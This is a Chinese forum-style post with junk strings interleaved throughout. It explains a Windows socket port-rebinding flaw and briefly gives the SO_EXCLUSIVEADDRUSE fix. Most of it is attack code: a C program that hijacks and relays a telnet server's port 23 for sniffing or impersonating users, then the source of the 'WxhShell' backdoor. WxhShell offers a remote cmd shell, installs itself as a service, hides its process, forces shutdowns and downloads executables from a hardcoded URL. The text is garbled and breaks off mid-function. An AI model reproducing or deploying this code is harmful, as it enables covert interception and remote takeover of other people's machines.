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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mMR[( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pGC`HTo| = 2k+/0ZbP saddr.sin_family = AF_INET; la-+` ;4 &~i saddr.sin_addr.s_addr = htonl(INADDR_ANY); Mo/xEB/O e1#}/U bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]3v KNnE5f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rtI4W F-nt7l 这意味着什么?意味着可以进行如下的攻击: /[IK[ P_;oSN|> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LZeR.8XM> ;rFa I^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) srCjq 1yo@CaW[\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 * PZ=$>r #
;9KDt@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 `yhL11]~ .C1^QY-wL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F'K{= *6h.#$\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 </fnbyGR w-KtxG( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QMIQy _CgD7d #include FvkKM+?F #include XDn$=`2 #include YpWu\oP #include PU8R
0r2k\ DWORD WINAPI ClientThread(LPVOID lpParam); &^}w|J? int main() '?d[ ip { 0-5:"SN' WORD wVersionRequested; $R^"~|m3M DWORD ret; h1BdASn_ WSADATA wsaData; N\p3*#M BOOL val; Zd%*,\`S SOCKADDR_IN saddr; NzEuiI} SOCKADDR_IN scaddr; }b-?Dm_H int err; :{sX8U% SOCKET s; N9i>81tY SOCKET sc; d&fENnt?h int caddsize; B!5gD
HANDLE mt; r4-r
z+x DWORD tid; jj^CW"IB wVersionRequested = MAKEWORD( 2, 2 ); Q|0[B4e^: err = WSAStartup( wVersionRequested, &wsaData ); xGA%/dy,; if ( err != 0 ) { 1.uyu printf("error!WSAStartup failed!\n"); 1*a2s2G
' return -1; w<'mV^S } <"t >!I saddr.sin_family = AF_INET; 'd28YjtoX rlds-j'' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /q> ""> @M(vaJB8u saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,
w_ Ew saddr.sin_port = htons(23); shi#K<gVC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?e BN_a,r6 { 55#H A?cR printf("error!socket failed!\n"); $`uL^ hlj] return -1; Kp"o0fh<9 } \Wo,^qR val = TRUE; hWUZn``U$| //SO_REUSEADDR选项就是可以实现端口重绑定的 #bGt%*Re p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SDot0`s> { U zc`,iV$ printf("error!setsockopt failed!\n"); rod{77
return -1; 8U-}%D<a } 1|zo-'y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G6I>Ry[2? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SnVnC09y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V8c&2rNa KQEn C`Nz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LOp<c<+aW { _/KN98+ ret=GetLastError(); P'g$F<~V printf("error!bind failed!\n"); /{Nx%PqL return -1; J3K!@m_\ } x1TB
(^aX listen(s,2); 1(m89C[ while(1) FzNs >* { %=GnGgu caddsize = sizeof(scaddr); \s,ZE6dQ //接受连接请求 c(@)V.o2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E$RH+):| if(sc!=INVALID_SOCKET) +4)Kc9S# { r;9F@/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HQ]g{JVld\ if(mt==NULL) 7ZN0_Qs { dfk=%lZYd9 printf("Thread Creat Failed!\n"); :sJVklK break; )4DF9 JpD } xvb5-tK
- } JD,/oL.KA CloseHandle(mt); A9[l5E } 32dR`qb closesocket(s); +}%4]O; WSACleanup(); MbF.KmV return 0; :] :q=1;c } nqr[HFWs DWORD WINAPI ClientThread(LPVOID lpParam) hMDy;oQ { AuWEy-q? SOCKET ss = (SOCKET)lpParam; @q|I$'K]x SOCKET sc; p*vEVo unsigned char buf[4096]; _%Jqyc"- SOCKADDR_IN saddr; 0p8 (Q long num; I>:M1Yc0 DWORD val; f~t*8rG~m DWORD ret; b1_HDC( //如果是隐藏端口应用的话,可以在此处加一些判断 *_@8 v? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |LWG7
ZE saddr.sin_family = AF_INET; ]M#_o] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `N$<]i]s5 saddr.sin_port = htons(23); gLU #\d] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }ufH![|[r { rtC.!].;% printf("error!socket failed!\n"); iE>T5XV8$B return -1; tK0?9M.) } |s=)*DZv val = 100; [$f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bh<)e5lP: { fsb_*sh& ret = GetLastError(); Q/L:0ovR return -1; F~4oPB K< } BlMc<k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k\I+T~~xD { n-0RA~5z ret = GetLastError(); Q`'w)aV return -1; a|{RK}|3 } ^GHA,cSf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F^z&s]^~ { 9F@ Q printf("error!socket connect failed!\n"); !3E33 closesocket(sc); n](Q)h'nlo closesocket(ss); Jwgd9a5 return -1; 6]1cy&SG } .3M=|rE while(1) ~{/"fTif { c/%i,N\5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cba~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^1nQDd* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kj.4Z+^ num = recv(ss,buf,4096,0); ET.c8K1f if(num>0) \%g#
__\ send(sc,buf,num,0); XcD$xFDZ else if(num==0) -YPUrU[) break; :/A3l=}iV num = recv(sc,buf,4096,0); EA) K"C if(num>0) s8Bbet send(ss,buf,num,0); h0_od/D1r else if(num==0) oF7o"NHaWa break; RutRA } ^Cs?FF@P closesocket(ss); "Y-_83 closesocket(sc); Yi:@>A<# return 0 ; =^%#F~o: } jv_z%` Rf9;jwU m:_'r"o ========================================================== .?|pv}V ! ,WO]Ov 下边附上一个代码,,WXhSHELL gn4+$ f~w g]%sX6T ========================================================== .EpcMXT% mO%F {' #include "stdafx.h" >PHin%# z3>ldT #include <stdio.h> 7|bzopLJk #include <string.h> <#HQU< #include <windows.h> ROqz$yY #include <winsock2.h> VI_8r5o #include <winsvc.h> }04EM #include <urlmon.h> }g&A=u_2 sbqAjm} #pragma comment (lib, "Ws2_32.lib") Jvac|rN #pragma comment (lib, "urlmon.lib") X"lPXoCN 6N+ ]g/_a #define MAX_USER 100 // 最大客户端连接数 ,sF49CD #define BUF_SOCK 200 // sock buffer l=4lhFG,Mk #define KEY_BUFF 255 // 输入 buffer 9
M>.9~ &![3{G"+>l #define REBOOT 0 // 重启 Pk)>@F< #define SHUTDOWN 1 // 关机 QPr29 _/xA5/V #define DEF_PORT 5000 // 监听端口 awu18(;J 2nz^%pLT #define REG_LEN 16 // 注册表键长度 5\S
s`#g #define SVC_LEN 80 // NT服务名长度 ^6g^ Q*" .0 }eg$d // 从dll定义API Q &~|P} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ' m^nKG$" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |0^~S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dA03,s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' ?tx?t 8U86-'Pq // wxhshell配置信息 CmP_9M?ce struct WSCFG { Q^trKw~XNy int ws_port; // 监听端口 ;[)O{%s char ws_passstr[REG_LEN]; // 口令 oyC5M+shP9 int ws_autoins; // 安装标记, 1=yes 0=no VkW N1A char ws_regname[REG_LEN]; // 注册表键名 |tn.ZEgw3~ char ws_svcname[REG_LEN]; // 服务名 ykMdH: char ws_svcdisp[SVC_LEN]; // 服务显示名 n[+$a)$8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 sQ";
t=yC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q7#Yw"#G! int ws_downexe; // 下载执行标记, 1=yes 0=no [8%R*} char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" R^*%yjy9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g$S|CqRG {wJ8%
;Z7 }; z}.Q~4 f0D {#U3A_y // default Wxhshell configuration W!jg struct WSCFG wscfg={DEF_PORT, lf2Q "xuhuanlingzhe", e)BU6m% 1, ~S\y)l\wZ "Wxhshell", 6> DmcG:. "Wxhshell", 4>R)2g "WxhShell Service", "Sb<"$: "Wrsky Windows CmdShell Service", X^o0t^
"Please Input Your Password: ", 1Y+g^Z;G 1, U,Q " http://www.wrsky.com/wxhshell.exe", IEmjWw4 "Wxhshell.exe" 0#y
i5U }; &)
qs0 6Cj$x.-K // 消息定义模块 n F1}? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nI_UL char *msg_ws_prompt="\n\r? for help\n\r#>"; 0+{CN|0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8.WZC1N char *msg_ws_ext="\n\rExit."; $ VTk0J-W char *msg_ws_end="\n\rQuit."; ;M<R
e char *msg_ws_boot="\n\rReboot..."; y?P4EVknM3 char *msg_ws_poff="\n\rShutdown..."; >S}^0vNZX char *msg_ws_down="\n\rSave to "; +d!"Zy2|B <rI8O;\H char *msg_ws_err="\n\rErr!"; C.`!?CW char *msg_ws_ok="\n\rOK!"; *N65B# 2I$-&c] char ExeFile[MAX_PATH]; O=
84ZP% int nUser = 0; qbx}9pp}g HANDLE handles[MAX_USER]; 89Ch'D int OsIsNt; ioT+,li }}b &IA# SERVICE_STATUS serviceStatus; @V =HY SERVICE_STATUS_HANDLE hServiceStatusHandle; 5c
($~EFr X+KQ%Efo // 函数声明 K#;EjR4H int Install(void); AGGNJ4m int Uninstall(void); Xn6'*u>+;[ int DownloadFile(char *sURL, SOCKET wsh); #Y<QEGb( int Boot(int flag); zBjbH= void HideProc(void); |V-)3#c int GetOsVer(void); PblO?@~O int Wxhshell(SOCKET wsl); ;&9wG` void TalkWithClient(void *cs); tRYi q int CmdShell(SOCKET sock); }rA
_4% int StartFromService(void); _z6 " C8W int StartWxhshell(LPSTR lpCmdLine); *f-8egt- ]k)h<)nY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v43FU3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); :{=2ih-} \5DOp-2 // 数据结构和表定义 8i~n;AhDs SERVICE_TABLE_ENTRY DispatchTable[] = vYNu=vnM { |2!cPf^8 {wscfg.ws_svcname, NTServiceMain}, @)x8< {NULL, NULL} $:IEp V{ }; f#3!Q!C^ ~y" ^t@!E // 自我安装 !SAR/sdXf int Install(void) >Pwu> { ? t_$C,A+ char svExeFile[MAX_PATH]; :9]"4ktoJ HKEY key; w,VUWja strcpy(svExeFile,ExeFile); 1kczlTF d>hLnz1O // 如果是win9x系统,修改注册表设为自启动 krecUpo if(!OsIsNt) { DAVgP7h' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^3lEfI<pBm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Ct'H1J- RegCloseKey(key); Bhf4 /$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^GC 8^f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s#>``E! RegCloseKey(key); v]@n'! return 0; k:DAko} } C^fUhLVSZ^ } ;%mYsQ } 8m*uT< 5D else { L4!T \QP1jB // 如果是NT以上系统,安装为系统服务 ICm/9Onh& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4h$W4NJK if (schSCManager!=0) VWT\wAL { ((
{4)5} SC_HANDLE schService = CreateService XAb-K?) ( -+Gd <U$ schSCManager, /2Qgg`^) wscfg.ws_svcname, u Tvck6 wscfg.ws_svcdisp, RGz NZc SERVICE_ALL_ACCESS, 4n}^1eQ9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "PfNC<MQo SERVICE_AUTO_START, 859ID8F SERVICE_ERROR_NORMAL, v~KgCLo svExeFile, }gtkO& NULL, @f%q ,: NULL, Ja%(kq[v NULL, c=u'#|/eb NULL, hWAZP=H NULL "!z9UiA ); 0Q5fX} if (schService!=0) SwdUElEp { ;To][J CloseServiceHandle(schService); XHYVcwmDz- CloseServiceHandle(schSCManager); +&qj`hA-b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R6E.C!EI strcat(svExeFile,wscfg.ws_svcname); W?2Z31;7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jQi)pVT^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f{ER]U RegCloseKey(key); a9niXy}a( return 0; 69JC!du } *c'hmAs } X~>2iL CloseServiceHandle(schSCManager); I7} o>{ } %bZ}vJ5b } gF8n{b <Kt;uu> return 1; K pSho< } 99u9L) ? yek\X // 自我卸载 {3){f;b int Uninstall(void) HV\l86} { u
ioBId HKEY key; 09w<@# (@ixV$Y if(!OsIsNt) { N3?@CM^hHw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '/~j!H4q9 RegDeleteValue(key,wscfg.ws_regname); m\;@~o'k RegCloseKey(key); vj4n=F,Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qv/Kb w
N{ RegDeleteValue(key,wscfg.ws_regname); ,-.a! a RegCloseKey(key); ';Ew-u return 0; (f>~+-IL } qb?9i-( } rBrJTF:. } d,*#yzO else { zqs|~W]c Av"^uevfs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EjFK zx if (schSCManager!=0) ht5eb"c+8 { k+`e0Jago SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yp\sJc` if (schService!=0) CI~ll=9` { WbH#@]+DN if(DeleteService(schService)!=0) { #b5V/)K CloseServiceHandle(schService); RqE|h6/ CloseServiceHandle(schSCManager); .E&-gXJ4 return 0; ?h7(,39^> } `&!J6)OJ CloseServiceHandle(schService); $Oi@B)=4d+ } ]q<Zc>OC CloseServiceHandle(schSCManager); t Zqy \_G } fLR\@f } iz5WWn^ f]37Xl%I return 1; C">w3#M% } a[A9(Ftn Y=YIz>u // 从指定url下载文件 -9> oB int DownloadFile(char *sURL, SOCKET wsh) 8}<4f|? { {v~.zRW%]r HRESULT hr; 5&N55?G6 char seps[]= "/"; |Y|g T*v char *token; lCC(N?%Q char *file; |}KNtIX\G char myURL[MAX_PATH]; Jrm 9,7/ char myFILE[MAX_PATH]; TaTs-]4 kZJ.G strcpy(myURL,sURL); )ND%MYJSq token=strtok(myURL,seps); g}Esj"7 while(token!=NULL) P8=!/L2? { l4smAT file=token; ExJexjOWI^ token=strtok(NULL,seps); ~.L\f%< } WC
*e#QP '98 0. GetCurrentDirectory(MAX_PATH,myFILE); W*/0[|n* strcat(myFILE, "\\"); J8:f9a:|M strcat(myFILE, file); b%"Lwqdr7 send(wsh,myFILE,strlen(myFILE),0); TX7]$Wj send(wsh,"...",3,0); M->$'Zgh` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AV:P/M^B if(hr==S_OK) 5\\a49k.p return 0; YH^h?s else mH\eJ return 1; v cZg3:j :UDT!
5FNO } E0-<-w3' :$gR
>.` // 系统电源模块 f%JC;Y int Boot(int flag) f9FLtdh
\7 { 8dYPn+` HANDLE hToken; w\QMA3 TOKEN_PRIVILEGES tkp; y1@*)|
r oGXndfd" if(OsIsNt) { oP 4z> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v(vJ[_&% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !=yNj6_f tkp.PrivilegeCount = 1; 4A@77#:J5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Qg 9KGk' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W]U},g8Z if(flag==REBOOT) { @Wb_Sz4` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2qkZ B0[ return 0; o2vBY]Tj } !Ey= else { ^qP}/H[QT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 32KL~32Y return 0; UoSzxL } c>3AR17+5 } F#^<t$5t else { 1YxG<K] if(flag==REBOOT) { a][QY1E@? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '|JBA.s| return 0; 1QPS=;|) } CW9vC else { D8S3YdJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p3R: 3E6p return 0; svTKt%6X } ^^C@W?.z } yl'@p5n (yB)rBh>n return 1; xG|T_|? } J jp)%c#_ yv2N5IQ>{V // win9x进程隐藏模块 ?cRGdLP'D void HideProc(void) |>U:Pb( { 0`D`
Je<t 01^+HEbm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]/klKqz if ( hKernel != NULL ) q*E<~!jL { xq<3*Bcw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8\H*Z2yF+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9KgGK cy% FreeLibrary(hKernel); Gi=s|vt } t6JM% $/p/9 - return; k~,({T< } ! O~: Zl4X,9Wt // 获取操作系统版本 W3.(s~)o int GetOsVer(void) `z)q/;}fC { ZD(VH6<g% OSVERSIONINFO winfo; C ks;f6G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tW)KpX GetVersionEx(&winfo); yur5"$n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a6<UMJ return 1; pSC\[%K else #FNSE*Y return 0; o,D7$WzL } <jwQ&fm)/R "7X[@xX@ // 客户端句柄模块 {k"t`uo_ int Wxhshell(SOCKET wsl) =}1)/gcM { }#Gq*^w SOCKET wsh; EpsjaOmAF struct sockaddr_in client; ,^K}_z\9f DWORD myID; )A1u uW ( ??u*qO:p while(nUser<MAX_USER) Wp2$L-T&$ { _<LJQ int nSize=sizeof(client); tP0\;W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |3{"ANmm' if(wsh==INVALID_SOCKET) return 1; WNmG'hlA |@*3
nb8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ua2wa A if(handles[nUser]==0) wS"`~Ql_ closesocket(wsh); Dm+[cA"I else 0`y*7.Ip nUser++; FJCL K#- } :I!}ZD+Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mQka?_if) z9qF<m return 0; d"0=.sA } 5ca!JLs 1&.q#,EMn( // 关闭 socket $c0<I59&| void CloseIt(SOCKET wsh) N7 ox#=g { hC
D6 closesocket(wsh); Svl;Ul nUser--; $2J[lt?% ExitThread(0); h%UM<TZ]" } qe<xH#6 q*'-G]tH= // 客户端请求句柄 w =2; QJ< void TalkWithClient(void *cs) vBLs88 {
/Y#Q<=X 6'[gd SOCKET wsh=(SOCKET)cs; ]VcuD05"C char pwd[SVC_LEN]; rf=oH
} char cmd[KEY_BUFF]; N eC]MW char chr[1]; 9@^N*
E+ int i,j; ;BmPP, \`oP\|Z while (nUser < MAX_USER) { s/\<;g:u^ Qu_=K_W if(wscfg.ws_passstr) { m8Y>4:Nw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y~Z&h?H'} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m8,jV R //ZeroMemory(pwd,KEY_BUFF); wvcj*{7[ i=0; >Hwf/Gf[ while(i<SVC_LEN) { 'TO/i:{\ nJ2910"< // 设置超时 cES8%UC^i fd_set FdRead; EL^j}P struct timeval TimeOut; Ov~vK\ FD_ZERO(&FdRead); 9
K~X+N\ FD_SET(wsh,&FdRead); &ev#C%Nu TimeOut.tv_sec=8; CsX@u# TimeOut.tv_usec=0; @QfbIP9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #9rCF 3P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #B6$r/% qE*h UzA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Txa
2`2t7 pwd =chr[0]; 1deK}5' if(chr[0]==0xd || chr[0]==0xa) { %zYTTPLZ pwd=0; xFA+ZjBC break; 5h[<!f= } R
q .2 i++; f64}#E|w } 4K0Fc^- ?W\KIp\Kn // 如果是非法用户,关闭 socket <~hx ~"c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _+ERX[i } #}+_Hy 'byao03 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *]>~lO1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :4x&B^,53 ow4|GLU^; while(1) { M Ui#3o\f Ij?Qs{V ZeroMemory(cmd,KEY_BUFF); d;g]OeF S9E<)L // 自动支持客户端 telnet标准 p>1Klh:8.' j=0; |[iEi while(j<KEY_BUFF) { *t bgIW+h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7b*9
Th*a cmd[j]=chr[0]; IN=l|Q$8f if(chr[0]==0xa || chr[0]==0xd) { IXU~&5&J cmd[j]=0; :v%iF!+.P break; Q94p*]W" } ow7*HN* j++; c8oE,-~ } H><!
C 6Tg'9|g // 下载文件 L"'L@A|U if(strstr(cmd,"http://")) { EASN#VG send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'e*:eBoyb if(DownloadFile(cmd,wsh)) 3A'9=h,lVK send(wsh,msg_ws_err,strlen(msg_ws_err),0); fiQ/ &]|5 else F-<c.0;6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vpP8'f. } :auq#$B else { -ze@~Z@ NC%)SG \ switch(cmd[0]) { OyATb{`' 8nTdZu // 帮助 bJB*w case '?': { {W%/?d9m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BFPy~5W break; Wl{wY,u } jF6[+bW< // 安装 66'AaA;0^i case 'i': { IRbZ ;*3dO if(Install()) 7,ffY/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]e9/f else Bw4PxJs- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vJg^uf) break; ,a\pdEPj } ee*E:Ltz\ // 卸载 f/pr case 'r': { K~14; if(Uninstall()) V3[>^ZCA send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jm3iYR+, else 2rqYm6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 84y#L[ break; 2KQpmNN } dUP8[y // 显示 wxhshell 所在路径 RQW<Sp~ case 'p': { YA@OA$`E char svExeFile[MAX_PATH]; iYz!:TxP strcpy(svExeFile,"\n\r"); p}
i5z_tS strcat(svExeFile,ExeFile); a WMEo`O% send(wsh,svExeFile,strlen(svExeFile),0); 3k* U/* break; FQw@@ } !;.nL-NQ // 重启 xmwH~UWp case 'b': { IfpFsq: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K ZQ
` if(Boot(REBOOT)) ?OdJt send(wsh,msg_ws_err,strlen(msg_ws_err),0); "kkZK=}Nv else { qW t 9Tr closesocket(wsh); BZRC0^-C@ ExitThread(0); r&D&xsbQ } Gu\lV c break; c{cJ>d 0 } vY(xH>Fd // 关机
qh9Ix case 'd': { b;$jh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &&($LnyA] if(Boot(SHUTDOWN)) >TwL&la send(wsh,msg_ws_err,strlen(msg_ws_err),0); P*6&0\af| else { Oxr?y8C~ closesocket(wsh); (C!33s1 ExitThread(0); /@f3|L<1@V } ]z5gC`E0 break; Hv<jf38 } 5Y(f7,JX // 获取shell qY%{c-aMA case 's': { @G0j/@v CmdShell(wsh); uNG?`>4> closesocket(wsh); 16n8[U! ExitThread(0); [9xUMX^} break; EFS2 zU } 3NC-)S // 退出 (f?&zQ!+ case 'x': { L\y>WR%s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2?nhkast#= CloseIt(wsh); ;c;PNihg break; A+bU{oLr } < e7 // 离开 mLL?n) case 'q': { +)l6%QKcW send(wsh,msg_ws_end,strlen(msg_ws_end),0); oN
" /w~ closesocket(wsh); tQrkRg(E: WSACleanup(); xbhU:,o exit(1); Oa|'wh ug break;
QKtTy>5 } k-a3oLCR, } ,1&</R_ } d}RR!i`<N 7!-y72qx // 提示信息 63n<4VSH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vpsv@\@J> } pt+[BF 6P } "8h7"WR 2^C>orKQ0 return; `+O7IyTMA } q+Cq&|4
?2 o$_,2$>mn // shell模块句柄 TEi~X2u int CmdShell(SOCKET sock) ]M5w!O! { Q`7.-di STARTUPINFO si; ?O<D&CvB ZeroMemory(&si,sizeof(si)); enJgk( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6!^&]4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; smN|r PROCESS_INFORMATION ProcessInfo; #DFfySH)A char cmdline[]="cmd"; OFe?T\dQn CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /htM/pR return 0; f/6,b&l, } CDTM<0`% ]~1Xx:X- // 自身启动模式 P\R#!+FgW8 int StartFromService(void) KWH l+pL { q2C._{ 0' typedef struct `c~J&@| { w
`0m[* DWORD ExitStatus; o 0'!u DWORD PebBaseAddress; Au-h#YV DWORD AffinityMask; WVfwt.Y DWORD BasePriority; H~Fb=.h]U ULONG UniqueProcessId; J"Z=`I)KON ULONG InheritedFromUniqueProcessId; p 3*y8g- } PROCESS_BASIC_INFORMATION;
BHa'`lCb -%eBip,'yl PROCNTQSIP NtQueryInformationProcess; z<c%Xl\$% .V Cfh+*J# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^yo~C3r~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >MeM n6Qsug$z HANDLE hProcess; mjtmN0^SR PROCESS_BASIC_INFORMATION pbi; e7^B3FOx X|w[:[P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mWPA]g( if(NULL == hInst ) return 0; l@OY8z-_ wfXm(RYM g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
